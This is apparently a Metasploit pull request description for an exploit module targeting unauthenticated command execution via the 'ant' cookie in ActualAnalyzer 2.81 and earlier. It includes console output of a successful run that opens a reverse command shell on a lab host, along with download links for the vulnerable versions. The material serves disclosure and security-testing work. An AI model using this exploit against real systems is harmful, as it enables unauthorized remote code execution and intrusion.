rapid7/metasploit-framework — pull request #4328 by bcoles (2014-12-06 19:15:04+00:00)
Title: Add actualanalyzer_ant_cookie_exec exploit

This module exploits a command execution vulnerability in ActualAnalyzer version 2.81 and prior.

The 'aa.php' file allows unauthenticated users to execute arbitrary commands in the 'ant' cookie.

Tested on ActualAnalyzer versions 2.81 and 2.75 on Ubuntu

### Output

```
msf exploit(actualanalyzer_ant_cookie_exec) > check
[+] 192.168.13.141:80 - The target is vulnerable.
msf exploit(actualanalyzer_ant_cookie_exec) > set verbose true
verbose => true
msf exploit(actualanalyzer_ant_cookie_exec) > check
[*] 192.168.13.141:80 - Found version: 2.81
[+] 192.168.13.141:80 - The target is vulnerable.
```

```
msf exploit(actualanalyzer_ant_cookie_exec) > set verbose true
verbose => true
msf exploit(actualanalyzer_ant_cookie_exec) > run

[*] Started reverse double handler
[+] 192.168.13.141:80 - Found analytics host: bt
[*] 192.168.13.141:80 - Sending payload (531 bytes)...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[+] 192.168.13.141:80 - Payload sent successfully
[*] Command: echo 2rAYCSKKNtZMdJ57;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "sh: line 2: Connected: command not found\r\nsh: line 3: Escape: command not found\r\n2rAYCSKKNtZMdJ57\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.13.132:4444 -> 192.168.13.141:52285) at 2014-12-06 13:43:52 -0500

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
^C
Abort session 1? [y/N] y

[*] 192.168.13.141 - Command shell session 1 closed. Reason: User exit
```

### Source:

* ActualAnalyzer Lite 2.81:
`hxxp://www.actualscripts.com/products/analyzer/downloads/editions/lite/file.php?file=lite281.zip`
* ActualAnalyzer Lite 2.75:
`hxxps://web.archive.org/web/20061114040847/http://www.actualscripts.com/products/analyzer/downloads/editions/lite/lite275.zip`